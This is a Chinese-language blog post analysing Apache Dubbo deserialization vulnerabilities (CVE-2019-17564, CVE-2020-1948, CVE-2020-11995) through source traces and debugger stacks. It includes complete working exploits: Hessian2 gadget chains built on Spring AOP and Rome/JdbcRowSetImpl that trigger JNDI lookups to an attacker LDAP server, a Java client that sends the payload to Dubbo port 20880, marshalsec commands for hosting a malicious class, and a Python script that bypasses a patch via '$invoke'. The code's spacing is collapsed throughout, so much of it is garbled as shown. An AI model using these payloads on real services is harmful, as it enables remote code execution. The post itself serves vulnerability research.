publicstaticBeanFactorymakeJNDITrigger( String jndiUrl )throwsException{    SimpleJndiBeanFactory bf =newSimpleJndiBeanFactory();    bf.setShareableResources(jndiUrl);    Reflections.setFieldValue(bf,"logger",newNoOpLog());    Reflections.setFieldValue(bf.getJndiTemplate(),"logger",newNoOpLog());returnbf;}

publicstaticObjectmakeBeanFactoryTriggerBFPA( UtilFactory uf, String name, BeanFactory bf )throwsException{    DefaultBeanFactoryPointcutAdvisor pcadv =newDefaultBeanFactoryPointcutAdvisor();    pcadv.setBeanFactory(bf);    pcadv.setAdviceBeanName(name);returnuf.makeEqualsTrigger(pcadv,newDefaultBeanFactoryPointcutAdvisor());}

和前面差不多,再次不多做分析

利用分析

poc

importcom.caucho.hessian.io.Hessian2Input;importcom.caucho.hessian.io.Hessian2Output;importmarshalsec.HessianBase;importmarshalsec.util.Reflections;importorg.apache.commons.logging.impl.NoOpLog;importorg.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;importorg.springframework.jndi.support.SimpleJndiBeanFactory;importjava.io.ByteArrayInputStream;importjava.io.ByteArrayOutputStream;importjava.lang.reflect.Array;importjava.lang.reflect.Constructor;importjava.util.HashMap;publicclassSpringAbstractBeanFactoryPointcutAdvisortest{    publicstaticvoidmain(String[] args) throws Exception {StringjndiUrl ="ldap://localhost:1389/obj";        SimpleJndiBeanFactory bf =newSimpleJndiBeanFactory();        bf.setShareableResources(jndiUrl);        Reflections.setFieldValue(bf,"logger",newNoOpLog());        Reflections.setFieldValue(bf.getJndiTemplate(),"logger",newNoOpLog());//        bfDefaultBeanFactoryPointcutAdvisor pcadv =newDefaultBeanFactoryPointcutAdvisor();        pcadv.setBeanFactory(bf);        pcadv.setAdviceBeanName(jndiUrl);        HashMap s =newHashMap<>();        Reflections.setFieldValue(s,"size",2);        Class nodeC;try{            nodeC = Class.forName("java.util.HashMap$Node");        }catch( ClassNotFoundException e ) {            nodeC = Class.forName("java.util.HashMap$Entry");        }        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class,Object.class,Object.class, nodeC);        nodeCons.setAccessible(true);Objecttbl = Array.newInstance(nodeC,2);        Array.set(tbl,0, nodeCons.newInstance(0, pcadv, pcadv,null));        Array.set(tbl,1, nodeCons.newInstance(0,newDefaultBeanFactoryPointcutAdvisor(),newDefaultBeanFactoryPointcutAdvisor(),null));        Reflections.setFieldValue(s,"table", tbl);        ByteArrayOutputStream byteArrayOutputStream =newByteArrayOutputStream();        Hessian2Output hessian2Output =newHessian2Output(byteArrayOutputStream);        HessianBase.NoWriteReplaceSerializerFactory sf =newHessianBase.NoWriteReplaceSerializerFactory();        sf.setAllowNonSerializable(true);        hessian2Output.setSerializerFactory(sf);        hessian2Output.writeObject(s);        hessian2Output.flushBuffer();        byte[] bytes = byteArrayOutputStream.toByteArray();// hessian2反序列化ByteArrayInputStream byteArrayInputStream =newByteArrayInputStream(bytes);        Hessian2Input hessian2Input =newHessian2Input(byteArrayInputStream);        HashMap o = (HashMap) hessian2Input.readObject();//        pcadv, new DefaultBeanFactoryPointcutAdvisor();}}

断点依旧打在 MapDeserializer 中,调用put方法,跟踪

publicVput(K key, Vvalue){returnputVal(hash(key), key,value,false,true);    }

finalVputVal(inthash, K key, V value,booleanonlyIfAbsent,booleanevict){        Node[] tab; Node p;intn, i;if((tab = table) ==null|| (n = tab.length) ==0)            n = (tab = resize()).length;if((p = tab[i = (n -1) & hash]) ==null)            tab[i] = newNode(hash, key, value,null);else{            Node e; K k;if(p.hash == hash &&                ((k = p.key) == key || (key !=null&& key.equals(k))))

publicboolean equals(Object other) {if(this== other) {returntrue;    }elseif(!(other instanceof PointcutAdvisor)) {returnfalse;    }else{        PointcutAdvisor otherAdvisor = (PointcutAdvisor)other;returnObjectUtils.nullSafeEquals(this.getAdvice(), otherAdvisor.getAdvice()) && ObjectUtils.nullSafeEquals(this.getPointcut(), otherAdvisor.getPointcut());    }}

publicAdvice getAdvice() {    Advice advice =this.advice;if(advice ==null&&this.adviceBeanName !=null) {        Assert.state(this.beanFactory !=null,"BeanFactory must be set to resolve 'adviceBeanName'");if(this.beanFactory.isSingleton(this.adviceBeanName)) {            advice = (Advice)this.beanFactory.getBean(this.adviceBeanName, Advice.class);

这条链是借助调用getbean

public T getBean(String name, Class requiredType) throws BeansException {try{returnthis.isSingleton(name) ?this.doGetSingleton(name, requiredType) :this.lookup(name, requiredType);

private T doGetSingleton(String name, Class requiredType) throws NamingException {        synchronized(this.singletonObjects) {            Object jndiObject;if(this.singletonObjects.containsKey(name)) {                jndiObject =this.singletonObjects.get(name);if(requiredType !=null&& !requiredType.isInstance(jndiObject)) {thrownew TypeMismatchNamingException(this.convertJndiName(name), requiredType, jndiObject !=null? jndiObject.getClass() :null);                }else{returnjndiObject;                }            }else{                jndiObject =this.lookup(name, requiredType);this.singletonObjects.put(name, jndiObject);returnjndiObject;            }        }    }

protected T lookup(StringjndiName, Class requiredType) throws NamingException {        Assert.notNull(jndiName,"'jndiName' must not be null");StringconvertedName =this.convertJndiName(jndiName);ObjectjndiObject;try{            jndiObject =this.getJndiTemplate().lookup(convertedName, requiredType);

public T lookup(Stringname,Class requiredType) throws NamingException{

        Object jndiObject = this.lookup(name);

ublicObjectlookup(finalStringname) throws NamingException {if(this.logger.isDebugEnabled()) {this.logger.debug("Looking up JNDI object with name ["+ name +"]");        }returnthis.execute(newJndiCallback() {            publicObjectdoInContext(Context ctx) throws NamingException {Objectlocated = ctx.lookup(name);if(located ==null) {thrownewNameNotFoundException("JNDI object with ["+ name +"] not found: JNDI implementation returned null");                }else{returnlocated;                }            }        });    }

public T execute(JndiCallback contextCallback) throws NamingException {        Context ctx =this.getContext();        Object var3;try{            var3 = contextCallback.doInContext(ctx);        }finally{this.releaseContext(ctx);        }returnvar3;    }

publicObjectlookup(finalString name)throwsNamingException{if(this.logger.isDebugEnabled()) {this.logger.debug("Looking up JNDI object with name ["+ name +"]");        }returnthis.execute(newJndiCallback() {publicObjectdoInContext(Context ctx)throwsNamingException{                Object located = ctx.lookup(name);if(located ==null) {thrownewNameNotFoundException("JNDI object with ["+ name +"] not found: JNDI implementation returned null");                }else{returnlocated;                }            }        });    }

lookup:417, InitialContext (javax.naming)doInContext:155, JndiTemplate$1(org.springframework.jndi)execute:87, JndiTemplate (org.springframework.jndi)lookup:152, JndiTemplate (org.springframework.jndi)lookup:179, JndiTemplate (org.springframework.jndi)lookup:95, JndiLocatorSupport (org.springframework.jndi)doGetSingleton:218, SimpleJndiBeanFactory (org.springframework.jndi.support)getBean:112, SimpleJndiBeanFactory (org.springframework.jndi.support)getAdvice:109, AbstractBeanFactoryPointcutAdvisor (org.springframework.aop.support)equals:74, AbstractPointcutAdvisor (org.springframework.aop.support)putVal:635, HashMap (java.util)put:612, HashMap (java.util)readMap:114, MapDeserializer (com.caucho.hessian.io)readMap:538, SerializerFactory (com.caucho.hessian.io)readObject:2110, Hessian2Input (com.caucho.hessian.io)main:59, SpringAbstractBeanFactoryPointcutAdvisortest

0x04 漏洞分析

CVE-2019-17564 漏洞分析

影响版本

2.7.0 <= Apache Dubbo <= 2.7.4.1

2.6.0 <= Apache Dubbo <= 2.6.7

Apache Dubbo = 2.5.x

漏洞调试

下载 https://github.com/apache/dubbo-samples ,提取 dubbo-samples-http 模块,dubbo版本切换为2.7.3版本,并且加入cc组件依赖进行漏洞调试。

先看到 http-provider.xml 文件,该文件配置声明暴露服务。

这里注册了 org.apache.dubbo.samples.http.api.DemoService 。

对 /org.apache.dubbo.samples.http.api.DemoService 接口发送payload,即gadget序列化数据,然后来到 org.apache.dubbo.remoting.http.servlet.DispatcherServlet#service 方法中,将所有请求都会走 DispatcherServlet 进行处理。

protected void service(HttpServletRequestrequest, HttpServletResponseresponse) throws ServletException, IOException {        HttpHandler handler = (HttpHandler)handlers.get(request.getLocalPort());if(handler ==null) {response.sendError(404,"Service not found.");        }else{            handler.handle(request,response);        }    }

跟进 handler.handle(request, response);

来到 org.apache.dubbo.rpc.protocol.http.HttpProtocol#handle

publicvoid handle(HttpServletRequestrequest, HttpServletResponseresponse) throws IOException, ServletException {Stringuri =request.getRequestURI();            HttpInvokerServiceExporter skeleton = (HttpInvokerServiceExporter)HttpProtocol.this.skeletonMap.get(uri);if(!request.getMethod().equalsIgnoreCase("POST")) {response.setStatus(500);            }else{                RpcContext.getContext().setRemoteAddress(request.getRemoteAddr(),request.getRemotePort());                try {                    skeleton.handleRequest(request,response);                } catch (Throwable var6) {                    thrownewServletException(var6);                }            }

这里是获取url中的类名,然后从 skeletonMap 中取值将对应的 HttpInvokerServiceExporter对象

跟进 skeleton.handleRequest(request, response);

来到 org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#handleRequest

publicvoid handleRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {try{        RemoteInvocation invocation =this.readRemoteInvocation(request);        RemoteInvocationResult result =this.invokeAndCreateResult(invocation,this.getProxy());this.writeRemoteInvocationResult(request, response, result);    }catch(ClassNotFoundException var5) {thrownew NestedServletException("Class not found during deserialization", var5);    }}

跟进 this.readRemoteInvocation(request);

来到 org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#readRemoteInvocation

protectedRemoteInvocation readRemoteInvocation(HttpServletRequest request) throws IOException, ClassNotFoundException {returnthis.readRemoteInvocation(request, request.getInputStream());}

org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#readRemoteInvocation

protectedRemoteInvocation readRemoteInvocation(HttpServletRequest request, InputStreamis) throws IOException, ClassNotFoundException {    ObjectInputStream ois =this.createObjectInputStream(this.decorateInputStream(request,is));    RemoteInvocation var4;try{        var4 =this.doReadRemoteInvocation(ois);    }finally{        ois.close();    }returnvar4;}

this.doReadRemoteInvocation(ois);

org.springframework.remoting.rmi.RemoteInvocationSerializingExporter#doReadRemoteInvocation

protectedRemoteInvocationdoReadRemoteInvocation(ObjectInputStream ois)throwsIOException, ClassNotFoundException{        Object obj = ois.readObject();if(!(objinstanceofRemoteInvocation)) {thrownewRemoteException("Deserialized object needs to be assignable to type ["+ RemoteInvocation.class.getName() +"]: "+ ClassUtils.getDescriptiveType(obj));        }else{return(RemoteInvocation)obj;        }    }

疑惑留存

HttpInvokerServiceExporterDispatcherServlet

DispatcherServlet注册

DispatcherServlet的注册逻辑在 org.apache.dubbo.remoting.http.tomcat.TomcatHttpServer中。

内嵌的tomcat容器,给添加了servlet的注册

版本更新

对 skeletonMap 进行了修改,在获取 skeleton 之后就会调用 JsonRpcBasicServer.hanlde , JsonRpcBasicServer 是 JsonRpcServer 的父类,在该类中没有反序列化的危险操作。

CVE-2020-1948

漏洞简介

Dubbo 2.7.6或更低版本采用hessian2实现反序列化,其中存在反序列化远程代码执行漏洞。攻击者可以发送未经验证的服务名或方法名的RPC请求,同时配合附加恶意的参数负载。当服务端存在可以被利用的第三方库时,恶意参数被反序列化后形成可被利用的攻击链,直接对Dubbo服务端进行恶意代码执行。

漏洞版本

Apache Dubbo 2.7.0 ~ 2.7.6

Apache Dubbo 2.6.0 ~ 2.6.7

Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。

在实际测试中2.7.8仍旧可以打,而2.7.9失败

漏洞复现

修改 dubbo-samples/dubbo-samples-api/pom.xml

com.rometoolsrome1.8.0

更改dubbo版本为2.7.3

启动dubbo-samples-api项目

importcom.caucho.hessian.io.Hessian2Output;importcom.rometools.rome.feed.impl.EqualsBean;importcom.rometools.rome.feed.impl.ToStringBean;importcom.sun.rowset.JdbcRowSetImpl;importjava.io.ByteArrayOutputStream;importjava.io.OutputStream;importjava.lang.reflect.Array;importjava.lang.reflect.Constructor;importjava.net.Socket;importjava.util.HashMap;importjava.util.Random;importmarshalsec.HessianBase;importmarshalsec.util.Reflections;importorg.apache.dubbo.common.io.Bytes;importorg.apache.dubbo.common.serialize.Cleanable;publicclassGadgetsTestHessian {publicstaticvoidmain(String[] args)throwsException {        JdbcRowSetImpl rs =newJdbcRowSetImpl();//todo 此处填写ldap urlrs.setDataSourceName("ldap://127.0.0.1:8087/ExecTest");        rs.setMatchColumn("foo");        Reflections.setFieldValue(rs,"listeners",null);        ToStringBean item =newToStringBean(JdbcRowSetImpl.class, rs);        EqualsBean root =newEqualsBean(ToStringBean.class, item);        HashMap s =newHashMap<>();        Reflections.setFieldValue(s,"size",2);Class nodeC;try{            nodeC =Class.forName("java.util.HashMap$Node");        }catch( ClassNotFoundException e ) {            nodeC =Class.forName("java.util.HashMap$Entry");        }        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);        nodeCons.setAccessible(true);        Object tbl = Array.newInstance(nodeC,2);        Array.set(tbl,0, nodeCons.newInstance(0, root, root,null));        Array.set(tbl,1, nodeCons.newInstance(0, root, root,null));        Reflections.setFieldValue(s,"table", tbl);        ByteArrayOutputStream byteArrayOutputStream =newByteArrayOutputStream();// header.byte[] header =newbyte[16];// set magic number.Bytes.short2bytes((short)0xdabb, header);// set request and serialization flag.header[2] = (byte) ((byte)0x80 |0x20 |2);// set request id.Bytes.long2bytes(newRandom().nextInt(100000000), header,4);        ByteArrayOutputStream hessian2ByteArrayOutputStream =newByteArrayOutputStream();        Hessian2Output out =newHessian2Output(hessian2ByteArrayOutputStream);        HessianBase.NoWriteReplaceSerializerFactory sf =newHessianBase.NoWriteReplaceSerializerFactory();        sf.setAllowNonSerializable(true);        out.setSerializerFactory(sf);        out.writeObject(s);        out.flushBuffer();if(outinstanceofCleanable) {            ((Cleanable) out).cleanup();        }        Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header,12);        byteArrayOutputStream.write(header);        byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());byte[] bytes = byteArrayOutputStream.toByteArray();//todo 此处填写被攻击的dubbo服务提供者地址和端口Socket socket =newSocket("127.0.0.1",20880);        OutputStream outputStream = socket.getOutputStream();        outputStream.write(bytes);        outputStream.flush();        outputStream.close();    }}

java-cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTestpython -m http.server#挂载恶意类

poc对dubbo的端口,默认为20880进行发包

漏洞分析

断点打在 org.apache.dubbo.remoting.transport.netty4.NettyCodecAdapter#decode

该位置通过调用 Object msg = NettyCodecAdapter.this.codec.decode(channel, message); ,从端口中接收序列化数据进行反序列化为一个Object对象。跟踪代码查看具体实现。

publicObject decode(Channel channel, ChannelBuffer buffer) throws IOException {        int save = buffer.readerIndex();        MultiMessage result = MultiMessage.create();while(true) {            Object obj =this.codec.decode(channel, buffer);if(DecodeResult.NEED_MORE_INPUT == obj) {                buffer.readerIndex(save);if(result.isEmpty()) {returnDecodeResult.NEED_MORE_INPUT;                }else{returnresult.size() ==1? result.get(0) : result;                }            }            result.addMessage(obj);this.logMessageLength(obj, buffer.readerIndex() - save);            save = buffer.readerIndex();        }    }

继续跟踪 this.codec.decode(channel, buffer); 位置

publicObjectdecode(Channel channel, ChannelBuffer buffer)throwsIOException{intreadable = buffer.readableBytes();byte[] header =newbyte[Math.min(readable,16)];        buffer.readBytes(header);returnthis.decode(channel, buffer, readable, header);    }

来到 org.apache.dubbo.remoting.exchange.codec.ExchangeCodec#decode

publicObjectdecode(Channel channel, ChannelBuffer buffer)throwsIOException{intreadable = buffer.readableBytes();byte[] header =newbyte[Math.min(readable,16)];    buffer.readBytes(header);returnthis.decode(channel, buffer, readable, header);}

调用 buffer.readableBytes 返回表示 ByteBuf 当前可读取的字节数,这里为670,是接受过来的序列化数据包的长度,Math.min(readable,16)则取两值中最小的值。作为byte数组的长度,并且调用 buffer.readBytes 读取该大小,这里是16,读取16个长度。

传递到this.decode进行调用

protectedObjectdecode(Channel channel, ChannelBuffer buffer,intreadable,byte[] header) throws IOException{intlen;inti;if((readable <=0|| header[0] == MAGIC_HIGH) && (readable <=1|| header[1] == MAGIC_LOW)) {if(readable <16) {returnDecodeResult.NEED_MORE_INPUT;            }else{//获取数据的长度len = Bytes.bytes2int(header,12);                checkPayload(channel, (long)len);                i = len +16;if(readable < i) {returnDecodeResult.NEED_MORE_INPUT;                }else{                    ChannelBufferInputStreamis=newChannelBufferInputStream(buffer, len);                    Object var8;try{                        var8 =this.decodeBody(channel,is, header);

走到 var8 = this.decodeBody(channel, is, header); 跟进

一路执行来到下面这段代码中

in = CodecSupport.deserialize(channel.getUrl(), is, proto); 位置获取OutputSteam数据,跟踪查看

publicstaticObjectInputdeserialize(URL url, InputStreamis,byteproto) throws IOException{    Serialization s = getSerialization(url, proto);returns.deserialize(url,is);}

getSerialization 位置跟进查看代码

url.getParameter("serialization", "hessian2"); 位置获取序列化的数据类型

返回到上一层方法走到 return s.deserialize(url, is); 位置

publicObjectInputdeserialize(URL url, InputStreamis) throws IOException{returnnewHessian2ObjectInput(is);}

实际上这里不是真正意义上的反序列化操作,而是将 is 的数据转换成一个 Hessian2ObjectInput 对象的实例。

走到这一步执行回到 org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody 107行代码中

data = this.decodeEventData(channel, in);

至此到达Hession2的反序列化触发点。和前面调试的利用链对比 构造数据的时候多了一下代码

byte[] header = new byte[16];        //setmagic number.        Bytes.short2bytes((short)0xdabb, header);        //setrequestandserialization flag.        header[2] = (byte) ((byte)0x80|0x20|2);        //setrequest id.        Bytes.long2bytes(newRandom().nextInt(100000000), header,4);

其余都是一致的。

CVE-2020-11995

漏洞简介

Apache Dubbo默认反序列化协议Hessian2被曝存在代码执行漏洞,攻击者可利用漏洞构建一个恶意请求达到远程代码执行的目的

漏洞版本

Dubbo 2.7.0 ~ 2.7.8

Dubbo 2.6.0 ~ 2.6.8

Dubbo 所有 2.5.x 版本

if(pts == DubboCodec.EMPTY_CLASS_ARRAY) {if(!RpcUtils.isGenericCall(path,this.getMethodName()) && !RpcUtils.isEcho(path,this.getMethodName())) {thrownew IllegalArgumentException("Service not found:"+ path +", "+this.getMethodName());                    }                    pts = ReflectUtils.desc2classArray(desc);                }

publicstaticbooleanisGenericCall(Stringpath,Stringmethod) {return"$invoke".equals(method) ||"$invokeAsync".equals(method);    }

publicstaticbooleanisEcho(Stringpath,Stringmethod) {return"$echo".equals(method);    }

设置 method 等于 $invoke 或 $invokeAsync 、 $echo 即可绕过该补丁

fromdubbo.codec.hessian2importDecoder,new_objectfromdubbo.clientimportDubboClientclient = DubboClient('127.0.0.1',20880)JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',      dataSource="ldap://127.0.0.1:8087/Exploit",      strMatchColumns=["foo"]      )JdbcRowSetImplClass=new_object('java.lang.Class',      name="com.sun.rowset.JdbcRowSetImpl",      )toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',      beanClass=JdbcRowSetImplClass,      obj=JdbcRowSetImpl      )resp = client.send_request_and_return_response(    service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',    method_name='$invoke',    service_version='1.0.0',    args=[toStringBean])

疑惑留存

在前面的构造的Java代码的poc中,即spring aop链或Rome链,能打2.7.8版本,并且没有走到 org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode 补丁处,而使用python该脚本时候则会走到补丁位置。

在请教了三梦师傅后,得知该补丁只是在 Xbean 利用链基础上进行了修复。导致其他利用链在2.7.8版本中依旧能使用。但从python代码中看着更像是Rome Gadget的构造。而在实际测试当中,XBean的Gadget确实走入到了补丁的逻辑处。

在此几个疑惑留存留到后面的dubbo源码分析中去解读结果尚未解决的疑惑点。

Dubbo的反序列化安全问题-Hessian2

dubbo源码浅析:默认反序列化利用之hessian2

Hessian 反序列化及相关利用链

0x05 结尾

天气冷了,注意保暖。共勉。

你可能感兴趣的:(Java安全之Dubbo反序列化漏洞分析)